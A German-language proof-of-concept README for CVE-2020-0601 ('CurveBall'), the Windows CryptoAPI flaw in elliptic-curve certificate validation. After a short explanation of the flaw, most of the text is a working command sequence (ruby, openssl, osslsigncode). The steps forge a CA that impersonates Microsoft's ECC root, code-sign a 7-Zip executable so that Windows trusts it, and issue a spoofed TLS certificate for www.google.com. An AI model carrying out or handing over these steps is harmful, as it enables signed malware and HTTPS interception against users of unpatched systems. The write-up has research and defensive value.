
PoC für CVE-2020-0601- Windows CryptoAPI (Crypt32.dll)
CVE-2020-0601, auch allgemein als CurveBall bezeichnet, ist eine Schwachstelle, bei der die Signatur von Zertifikaten, die Elliptische-Kurven-Kryptografie (ECC) verwenden, nicht korrekt überprüft wird.
ECC basiert auf verschiedenen Parametern. Diese Parameter sind für viele Kurven standardisiert. Microsoft hat jedoch nicht alle diese Parameter überprüft. Der Parameter G (der Generator) wurde nicht überprüft, sodass der Angreifer seinen eigenen Generator bereitstellen kann. Wenn Microsoft dann versucht, das Zertifikat gegen eine vertrauenswürdige Zertifizierungsstelle (CA) zu validieren, sucht es nur nach übereinstimmenden öffentlichen Schlüsseln und verwendet dann den Generator des Zertifikats. Die NSA erklärt die Auswirkungen dieser Schwachstelle und mehr hier.
MicrosoftECCProductRootCertificateAuthority.cer ist standardmäßig eine vertrauenswürdige Stammzertifizierungsstelle (CA), die ECC unter Windows 10 verwendet. Alles, was mit diesem Zertifikat signiert wurde, wird daher automatisch als vertrauenswürdig eingestuft.
Mindestanforderungen
openssl 1.1.0
ruby 2.4.0
Wenn Sie an den mathematischen Details der Schwachstelle interessiert sind, lesen Sie bitte mehr hier.
Um das Zertifikat zu fälschen, setzen wir die folgenden Parameter:
d' = 1
G' = Q
Sodass Q = Q' = d'G'.
Erstellen Sie ein Zertifikat mit demselben öffentlichen Schlüssel und denselben Parametern einer vertrauenswürdigen CA. Dies wird als unsere fälschende CA verwendet. Setzen Sie den Generator auf einen Wert, für den Sie den privaten Schlüssel kennen. Sie können den Generator einfach auf den öffentlichen Schlüssel setzen und den privaten Schlüssel auf 1 setzen, da Q = dG.
Als Nächstes erstellen Sie eine Zertifikatsignierungsanforderung (Certificate Signing Request, CSR) mit den gewünschten Erweiterungen, z. B. Codesignierung oder Serverauthentifizierung.
Signieren Sie diese Zertifikatsanforderung mit Ihrer gefälschten CA und dem CA-Schlüssel und fügen Sie die Nutzungserweiterungen hinzu.
Bündeln Sie die signierte Zertifikatsanforderung (jetzt ein reguläres Zertifikat) mit der gefälschten CA, und Sie haben ein signiertes und vertrauenswürdiges Zertifikat.
Wenn Windows überprüft, ob das Zertifikat vertrauenswürdig ist, wird es sehen, dass es von unserer gefälschten CA signiert wurde. Es prüft dann den öffentlichen Schlüssel der gefälschten CA gegen vertrauenswürdige CAs. Dann verifiziert es einfach die Signatur unserer gefälschten CA mit dem Generator der gefälschten CA – das ist das Problem.
Wenn Sie Ihr neu signiertes, vertrauenswürdiges Zertifikat in Windows öffnen, wird es nicht als vertrauenswürdig erkannt, da es an nichts gebunden ist. Daher wird es die gefälschte CA nicht verwenden. Das Zertifikat muss sich immer zusammen mit der gefälschten CA präsentieren.
Bitte verwenden Sie dies nur zu Bildungs- und Forschungszwecken.
Extrahieren Sie den öffentlichen Schlüssel aus der CA und modifizieren Sie ihn gemäß der Schwachstelle:
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer
Generieren Sie ein neues x509-Zertifikat basierend auf diesem Schlüssel. Dies wird unsere eigene gefälschte CA.
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
Generieren Sie einen neuen Schlüssel. Dieser Schlüssel kann beliebiger Art sein. Er wird verwendet, um ein Codesignierungszertifikat zu erstellen, das wir mit unserer eigenen CA signieren werden.
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
Als Nächstes erstellen Sie eine neue Zertifikatsignierungsanforderung (CSR). Diese Anforderung wird normalerweise an vertrauenswürdige CAs gesendet, aber da wir eine gefälschte haben, können wir sie selbst signieren.
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs
Signieren Sie Ihre neue CSR mit unserer gefälschten CA und dem CA-Schlüssel. Dieses Zertifikat wird im Jahr 2047 ablaufen, während die echte vertrauenswürdige Microsoft CA im Jahr 2043 abläuft.
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs
Es bleibt nur noch, das Zertifikat, seinen Schlüssel und die gefälschte CA in eine PKCS12-Datei zu packen, um ausführbare Dateien zu signieren.
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12
Signieren Sie Ihre ausführbare Datei mit der PKCS12-Datei.
osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in 7z1900-x64.exe -out 7z1900-x64_signed.exe
Bitte verwenden Sie dies nur zu Bildungs- und Forschungszwecken.
Extrahieren Sie den öffentlichen Schlüssel aus der CA und modifizieren Sie ihn gemäß der Schwachstelle:
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer
Generieren Sie ein neues x509-Zertifikat basierend auf diesem Schlüssel. Dies wird unsere eigene gefälschte CA.
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
Generieren Sie einen neuen Schlüssel. Dieser Schlüssel kann beliebiger Art sein. Er wird verwendet, um ein SSL-Zertifikat zu erstellen, das wir mit unserer eigenen CA signieren werden.
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
Als Nächstes erstellen Sie eine neue Zertifikatsignierungsanforderung (CSR). Diese Anforderung wird normalerweise an vertrauenswürdige CAs gesendet, aber da wir eine gefälschte haben, können wir sie selbst signieren.
Wenn Sie den Domainnamen ändern möchten, bearbeiten Sie CN = www.google.com zu CN = www.example.com in openssl_tls.conf.
openssl req -new -key cert.key -out cert.csr -config openssl_tls.conf -reqexts v3_tls
Signieren Sie Ihre neue CSR mit unserer gefälschten CA und dem CA-Schlüssel. Dieses Zertifikat wird im Jahr 2047 ablaufen, während die echte vertrauenswürdige Microsoft CA im Jahr 2043 abläuft.
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_tls.conf -extensions v3_tls
Sie können jetzt cert.crt, cert.key und spoofed_ca.crt verwenden, um Ihre Inhalte bereitzustellen. Denken Sie daran, die spoofed_ca.crt als Zertifikatskette in der HTTPS-Konfiguration Ihres Servers hinzuzufügen.
Siehe das Verwendungsbeispiel in tls/index.js.